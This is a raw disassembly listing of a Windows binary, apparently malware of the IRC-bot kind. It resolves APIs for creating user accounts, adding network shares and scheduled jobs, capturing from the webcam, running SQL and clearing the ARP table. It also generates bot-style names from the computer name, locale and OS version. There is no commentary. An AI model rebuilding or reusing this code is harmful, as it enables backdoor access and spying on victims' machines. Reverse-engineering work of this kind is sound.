GetProcAddress cmp dword_4CDBD4, ebx mov dword_4CDCFC, eax jz loc_40A1F2 cmp dword_4CDD08, ebx jz loc_40A1F2 cmp dword_4CDB74, ebx jz loc_40A1F2 cmp dword_4CDC10, ebx jz loc_40A1F2 cmp dword_4CDBF8, ebx jz loc_40A1F2 cmp dword_4CDBBC, ebx jz loc_40A1F2 cmp dword_4CDCE4, ebx jz loc_40A1F2 cmp dword_4CDD00, ebx jz loc_40A1F2 cmp dword_4CDC0C, ebx jz loc_40A1F2 cmp dword_4CDCF0, ebx jz loc_40A1F2 cmp dword_4CDCA4, ebx jz loc_40A1F2 cmp dword_4CDC64, ebx jz loc_40A1F2 cmp dword_4CDC60, ebx jz loc_40A1F2 cmp dword_4CDB94, ebx jz short loc_40A1F2 cmp dword_4CDCB4, ebx jz short loc_40A1F2 cmp dword_4CDCC8, ebx jz short loc_40A1F2 cmp dword_4CDC7C, ebx jz short loc_40A1F2 cmp dword_4CDC3C, ebx jz short loc_40A1F2 cmp dword_4CDC90, ebx jz short loc_40A1F2 cmp dword_4CDC4C, ebx jz short loc_40A1F2 cmp dword_4CDC8C, ebx jz short loc_40A1F2 cmp dword_4CDCF8, ebx jz short loc_40A1F2 cmp dword_4CDC44, ebx jz short loc_40A1F2 cmp dword_4CDC08, ebx jz short loc_40A1F2 cmp dword_4CDC78, ebx jz short loc_40A1F2 cmp dword_4CDCE8, ebx jz short loc_40A1F2 cmp dword_4CDC1C, ebx jz short loc_40A1F2 cmp eax, ebx jnz short loc_40A1FC jmp short loc_40A1F2 ; --------------------------------------------------------------------------- loc_40A1E7: ; CODE XREF: sub_409A1D+51Fj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD44, eax loc_40A1F2: ; CODE XREF: sub_409A1D+6BEj ; sub_409A1D+6CAj ... mov dword_4CDD40, 1 loc_40A1FC: ; CODE XREF: sub_409A1D+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A301 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CDBA0, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CDB28, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CDC2C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CDBD8, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CDC38, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CDBFC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CDB68, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CDB60, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CDB70, eax call esi ; GetProcAddress cmp dword_4CDBA0, ebx mov ecx, dword_4CDBFC mov dword_4CDC98, eax jz short loc_40A2DD cmp dword_4CDB28, ebx jz short loc_40A2DD cmp dword_4CDC2C, ebx jz short loc_40A2DD cmp dword_4CDBD8, ebx jz short loc_40A2DD cmp dword_4CDC38, ebx jz short loc_40A2DD cmp ecx, ebx jz short loc_40A2DD cmp dword_4CDB68, ebx jz short loc_40A2DD cmp dword_4CDB60, ebx jz short loc_40A2DD cmp dword_4CDB70, ebx jz short loc_40A2DD cmp eax, ebx jnz short loc_40A2E7 loc_40A2DD: ; CODE XREF: sub_409A1D+87Ej ; sub_409A1D+886j ... mov dword_4CDD48, 1 loc_40A2E7: ; CODE XREF: sub_409A1D+8BEj cmp ecx, ebx jz short loc_40A31C push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CDC14, eax jnz short loc_40A31C jmp short loc_40A316 ; --------------------------------------------------------------------------- loc_40A301: ; CODE XREF: sub_409A1D+7EAj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD4C, eax mov dword_4CDD48, 1 loc_40A316: ; CODE XREF: sub_409A1D+8E2j mov dword_4CDC14, ebx loc_40A31C: ; CODE XREF: sub_409A1D+8CCj ; sub_409A1D+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A366 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CDBEC, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CDD18, eax call esi ; GetProcAddress cmp dword_4CDBEC, ebx mov dword_4CDB7C, eax jz short loc_40A371 cmp dword_4CDD18, ebx jz short loc_40A371 cmp eax, ebx jnz short loc_40A37B jmp short loc_40A371 ; --------------------------------------------------------------------------- loc_40A366: ; CODE XREF: sub_409A1D+90Aj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD54, eax loc_40A371: ; CODE XREF: sub_409A1D+939j ; sub_409A1D+941j ... mov dword_4CDD50, 1 loc_40A37B: ; CODE XREF: sub_409A1D+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A482 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CDB58, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CDB30, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CDBA8, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CDBDC, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CDCF4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CDB90, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CDB3C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CDB2C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CDBC4, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CDCBC, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CDC74, eax call esi ; GetProcAddress cmp dword_4CDB58, ebx mov dword_4CDB98, eax jz short loc_40A48D cmp dword_4CDB30, ebx jz short loc_40A48D cmp dword_4CDBA8, ebx jz short loc_40A48D cmp dword_4CDBDC, ebx jz short loc_40A48D cmp dword_4CDCF4, ebx jz short loc_40A48D cmp dword_4CDB90, ebx jz short loc_40A48D cmp dword_4CDB3C, ebx jz short loc_40A48D cmp dword_4CDB2C, ebx jz short loc_40A48D cmp dword_4CDBC4, ebx jz short loc_40A48D cmp dword_4CDCBC, ebx jz short loc_40A48D cmp dword_4CDC74, ebx jnz short loc_40A497 jmp short loc_40A48D ; --------------------------------------------------------------------------- loc_40A482: ; CODE XREF: sub_409A1D+969j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD5C, eax loc_40A48D: ; CODE XREF: sub_409A1D+A11j ; sub_409A1D+A19j ... mov dword_4CDD58, 1 loc_40A497: ; CODE XREF: sub_409A1D+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A4CC push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CDB80, eax call esi ; GetProcAddress cmp dword_4CDB80, ebx mov dword_4CDC5C, eax jz short loc_40A4D7 cmp eax, ebx jnz short loc_40A4E1 jmp short loc_40A4D7 ; --------------------------------------------------------------------------- loc_40A4CC: ; CODE XREF: sub_409A1D+A85j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD64, eax loc_40A4D7: ; CODE XREF: sub_409A1D+AA7j ; sub_409A1D+AADj mov dword_4CDD60, 1 loc_40A4E1: ; CODE XREF: sub_409A1D+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A516 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CDCE0, eax call esi ; GetProcAddress cmp dword_4CDCE0, ebx mov dword_4CDCDC, eax jz short loc_40A521 cmp eax, ebx jnz short loc_40A52B jmp short loc_40A521 ; --------------------------------------------------------------------------- loc_40A516: ; CODE XREF: sub_409A1D+ACFj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD6C, eax loc_40A521: ; CODE XREF: sub_409A1D+AF1j ; sub_409A1D+AF7j mov dword_4CDD68, 1 loc_40A52B: ; CODE XREF: sub_409A1D+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A58A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CDD0C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CDD04, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CDCCC, eax call esi ; GetProcAddress cmp dword_4CDD0C, ebx mov dword_4CDB9C, eax jz short loc_40A595 cmp dword_4CDD04, ebx jz short loc_40A595 cmp dword_4CDCCC, ebx jz short loc_40A595 cmp eax, ebx jnz short loc_40A59F jmp short loc_40A595 ; --------------------------------------------------------------------------- loc_40A58A: ; CODE XREF: sub_409A1D+B19j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD74, eax loc_40A595: ; CODE XREF: sub_409A1D+B55j ; sub_409A1D+B5Dj ... mov dword_4CDD70, 1 loc_40A59F: ; CODE XREF: sub_409A1D+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5D4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CDBD0, eax call esi ; GetProcAddress cmp dword_4CDBD0, ebx mov dword_4CDCD8, eax jz short loc_40A5DF cmp eax, ebx jnz short loc_40A5E9 jmp short loc_40A5DF ; --------------------------------------------------------------------------- loc_40A5D4: ; CODE XREF: sub_409A1D+B8Dj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD7C, eax loc_40A5DF: ; CODE XREF: sub_409A1D+BAFj ; sub_409A1D+BB5j mov dword_4CDD78, 1 loc_40A5E9: ; CODE XREF: sub_409A1D+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A672 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CDCA0, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CDCEC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CDC28, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CDBE0, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CDC80, eax call esi ; GetProcAddress cmp dword_4CDCA0, ebx mov dword_4CDBF0, eax jz short loc_40A67D cmp dword_4CDCEC, ebx jz short loc_40A67D cmp dword_4CDC28, ebx jz short loc_40A67D cmp dword_4CDBE0, ebx jz short loc_40A67D cmp dword_4CDC80, ebx jz short loc_40A67D cmp eax, ebx jnz short loc_40A687 jmp short loc_40A67D ; --------------------------------------------------------------------------- loc_40A672: ; CODE XREF: sub_409A1D+BD7j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD84, eax loc_40A67D: ; CODE XREF: sub_409A1D+C2Dj ; sub_409A1D+C35j ... mov dword_4CDD80, 1 loc_40A687: ; CODE XREF: sub_409A1D+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A6BC push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CDBB4, eax call esi ; GetProcAddress cmp dword_4CDBB4, ebx mov dword_4CDC94, eax jz short loc_40A6C7 cmp eax, ebx jnz short loc_40A6D1 jmp short loc_40A6C7 ; --------------------------------------------------------------------------- loc_40A6BC: ; CODE XREF: sub_409A1D+C75j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD8C, eax loc_40A6C7: ; CODE XREF: sub_409A1D+C97j ; sub_409A1D+C9Dj mov dword_4CDD88, 1 loc_40A6D1: ; CODE XREF: sub_409A1D+C9Bj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_409A1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6D9 proc near ; CODE XREF: sub_401B66+249Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CDD20, esi push edi mov edi, [ebp+arg_8] jz short loc_40A721 push dword_4CDD24 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A721: ; CODE XREF: sub_40A6D9+1Aj cmp dword_4CDD28, esi jz short loc_40A755 push dword_4CDD2C lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A755: ; CODE XREF: sub_40A6D9+4Ej cmp dword_4CDD30, esi jz short loc_40A789 push dword_4CDD34 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A789: ; CODE XREF: sub_40A6D9+82j cmp dword_4CDD38, esi jz short loc_40A7BD push dword_4CDD3C lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A7BD: ; CODE XREF: sub_40A6D9+B6j cmp dword_4CDD40, esi jz short loc_40A7F1 push dword_4CDD44 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A7F1: ; CODE XREF: sub_40A6D9+EAj cmp dword_4CDD48, esi jz short loc_40A825 push dword_4CDD4C lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A825: ; CODE XREF: sub_40A6D9+11Ej cmp dword_4CDD50, esi jz short loc_40A859 push dword_4CDD54 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A859: ; CODE XREF: sub_40A6D9+152j cmp dword_4CDD58, esi jz short loc_40A88D push dword_4CDD5C lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A88D: ; CODE XREF: sub_40A6D9+186j cmp dword_4CDD60, esi jz short loc_40A8C1 push dword_4CDD64 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A8C1: ; CODE XREF: sub_40A6D9+1BAj cmp dword_4CDD68, esi jz short loc_40A8F5 push dword_4CDD6C lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A8F5: ; CODE XREF: sub_40A6D9+1EEj cmp dword_4CDD70, esi jz short loc_40A929 push dword_4CDD74 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A929: ; CODE XREF: sub_40A6D9+222j cmp dword_4CDD78, esi jz short loc_40A95D push dword_4CDD7C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A95D: ; CODE XREF: sub_40A6D9+256j cmp dword_4CDD80, esi jz short loc_40A991 push dword_4CDD84 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A991: ; CODE XREF: sub_40A6D9+28Aj cmp dword_4CDD88, esi jz short loc_40A9C5 push dword_4CDD8C lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41C056 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 20h loc_40A9C5: ; CODE XREF: sub_40A6D9+2BEj lea eax, [ebp+var_200] push offset unk_42E9CC push eax call sub_41C056 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A9F2 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409982 add esp, 14h loc_40A9F2: ; CODE XREF: sub_40A6D9+302j lea eax, [ebp+var_200] push eax call sub_4157A5 pop ecx pop edi pop esi pop ebx leave retn sub_40A6D9 endp ; =============== S U B R O U T I N E ======================================= sub_40AA04 proc near ; CODE XREF: sub_401891:loc_4018E0p ; sub_401B66+5BC0p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AA2C push [esp+arg_0] call dword_4CDCE8 ; gethostbyname test eax, eax jnz short loc_40AA25 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AA25: ; CODE XREF: sub_40AA04+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AA2C: ; CODE XREF: sub_40AA04+Dj retn sub_40AA04 endp ; =============== S U B R O U T I N E ======================================= sub_40AA2D proc near ; CODE XREF: sub_401891+D6p mov ecx, dword_4CDB80 xor eax, eax test ecx, ecx jz short locret_40AA3B jmp ecx ; --------------------------------------------------------------------------- locret_40AA3B: ; CODE XREF: sub_40AA2D+Aj retn sub_40AA2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA3C proc near ; CODE XREF: sub_401B66:loc_403F23p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CDCE0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40AAC3 sub ecx, 32h jz loc_40AB0D sub ecx, 48h jz short loc_40AA98 sub ecx, 6Eh jz short loc_40AA91 loc_40AA7A: ; CODE XREF: sub_40AA3C+85j push eax lea eax, [ebp+var_88] push offset unk_42EBE0 push eax call sub_41C056 add esp, 0Ch jmp short loc_40AAEE ; --------------------------------------------------------------------------- loc_40AA91: ; CODE XREF: sub_40AA3C+3Cj push offset unk_42EBBC jmp short loc_40AAE0 ; --------------------------------------------------------------------------- loc_40AA98: ; CODE XREF: sub_40AA3C+37j push [ebp+var_8] call sub_41BCA5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BD60 add esp, 10h cmp esi, edi jz short loc_40AADB lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CDCE0 ; GetIpNetTable cmp eax, edi jnz short loc_40AA7A loc_40AAC3: ; CODE XREF: sub_40AA3C+29j cmp [esi], edi jbe short loc_40AAFE lea ebx, [esi+4] loc_40AACA: ; CODE XREF: sub_40AA3C+9Bj push ebx call dword_4CDCDC ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AACA jmp short loc_40AAFE ; --------------------------------------------------------------------------- loc_40AADB: ; CODE XREF: sub_40AA3C+75j push offset unk_42EB8C loc_40AAE0: ; CODE XREF: sub_40AA3C+5Aj ; sub_40AA3C+D6j lea eax, [ebp+var_88] push eax call sub_41C056 pop ecx pop ecx loc_40AAEE: ; CODE XREF: sub_40AA3C+53j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4157A5 pop ecx loc_40AAFE: ; CODE XREF: sub_40AA3C+89j ; sub_40AA3C+9Dj push esi call sub_41B881 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AB0D: ; CODE XREF: sub_40AA3C+2Ej push offset unk_42EB5C jmp short loc_40AAE0 sub_40AA3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB14 proc near ; CODE XREF: sub_401B66+2164p ; sub_401B66+229Bp ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CDC08 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CDD90 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C056 add esp, 18h mov eax, esi pop esi leave retn sub_40AB14 endp ; =============== S U B R O U T I N E ======================================= sub_40AB6D proc near ; CODE XREF: sub_413133+24Cp ; sub_413133+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40AB98 lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40AB8B: ; CODE XREF: sub_40AB6D+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40AB8B pop edi jmp short loc_40AB9C ; --------------------------------------------------------------------------- loc_40AB98: ; CODE XREF: sub_40AB6D+Aj mov esi, [esp+4+arg_0] loc_40AB9C: ; CODE XREF: sub_40AB6D+29j test ecx, ecx jz short loc_40ABA5 movzx eax, byte ptr [esi] add edx, eax loc_40ABA5: ; CODE XREF: sub_40AB6D+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AB6D endp ; =============== S U B R O U T I N E ======================================= sub_40ABBD proc near ; CODE XREF: sub_40AF23+4Ap ; DATA XREF: .packed:off_42EC28o arg_0 = dword ptr 4 push esi push edi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 call sub_41C0B2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_42EC90[edx*4] push offset aS_2 ; "%s" push 1Ch push edi call sub_41C150 xor esi, esi add esp, 14h cmp dword_42A094, esi jle short loc_40AC24 loc_40ABFE: ; CODE XREF: sub_40ABBD+65j call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB1C push 1Ch push edi call sub_41C150 add esp, 14h inc esi cmp esi, dword_42A094 jl short loc_40ABFE loc_40AC24: ; CODE XREF: sub_40ABBD+3Fj mov eax, edi pop edi pop esi retn sub_40ABBD endp ; --------------------------------------------------------------------------- push esi push edi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 mov edi, [esp+10h] mov dword ptr [esp], offset aNt_0 ; "NT" push offset aS_2 ; "%s" push 1Ch push edi call sub_41C150 xor esi, esi add esp, 10h cmp dword_42A094, esi jle short loc_40AC82 loc_40AC5C: ; CODE XREF: .packed:0040AC80j call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB1C push 1Ch push edi call sub_41C150 add esp, 14h inc esi cmp esi, dword_42A094 jl short loc_40AC5C loc_40AC82: ; CODE XREF: .packed:0040AC5Aj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AC87 proc near ; CODE XREF: sub_401B66+68D6p arg_0 = dword ptr 4 push ebx push esi push edi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_41C0B2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42A094 test esi, esi jle short loc_40ACCA loc_40ACB4: ; CODE XREF: sub_40AC87+41j call sub_41C0B2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ACB4 loc_40ACCA: ; CODE XREF: sub_40AC87+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AC87 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx lea eax, [ebp-4] mov esi, offset aPc ; "PC" push eax push esi call dword_4280C0 ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C150 xor esi, esi add esp, 0Ch cmp dword_42A094, esi jle short loc_40AD3D loc_40AD17: ; CODE XREF: .packed:0040AD3Bj call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB1C push 1Ch push edi call sub_41C150 add esp, 14h inc esi cmp esi, dword_42A094 jl short loc_40AD17 loc_40AD3D: ; CODE XREF: .packed:0040AD15j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4280C4 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_3 ; "%s|" push 1Ch push edi call sub_41C150 xor esi, esi add esp, 10h cmp dword_42A094, esi jle short loc_40ADB2 loc_40AD8C: ; CODE XREF: .packed:0040ADB0j call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB1C push 1Ch push edi call sub_41C150 add esp, 14h inc esi cmp esi, dword_42A094 jl short loc_40AD8C loc_40ADB2: ; CODE XREF: .packed:0040AD8Aj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43FE14 mov dword ptr [ebp-94h], 94h call dword_4280C8 ; GetVersionExA call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AE3C cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AE1C cmp dword ptr [ebp-84h], 1 jnz short loc_40AE0C mov esi, offset a95 ; "95" loc_40AE0C: ; CODE XREF: .packed:0040AE05j cmp dword ptr [ebp-84h], 2 jnz short loc_40AE78 mov esi, offset aNt_1 ; "NT" jmp short loc_40AE78 ; --------------------------------------------------------------------------- loc_40AE1C: ; CODE XREF: .packed:0040ADFCj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AE2C mov esi, offset a98 ; "98" jmp short loc_40AE78 ; --------------------------------------------------------------------------- loc_40AE2C: ; CODE XREF: .packed:0040AE23j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AE73 mov esi, offset aMe_0 ; "ME" jmp short loc_40AE78 ; --------------------------------------------------------------------------- loc_40AE3C: ; CODE XREF: .packed:0040ADF3j cmp dword ptr [ebp-90h], 5 jnz short loc_40AE73 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AE55 mov esi, offset a2k ; "2K" jmp short loc_40AE78 ; --------------------------------------------------------------------------- loc_40AE55: ; CODE XREF: .packed:0040AE4Cj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AE65 mov esi, offset aXp_0 ; "XP" 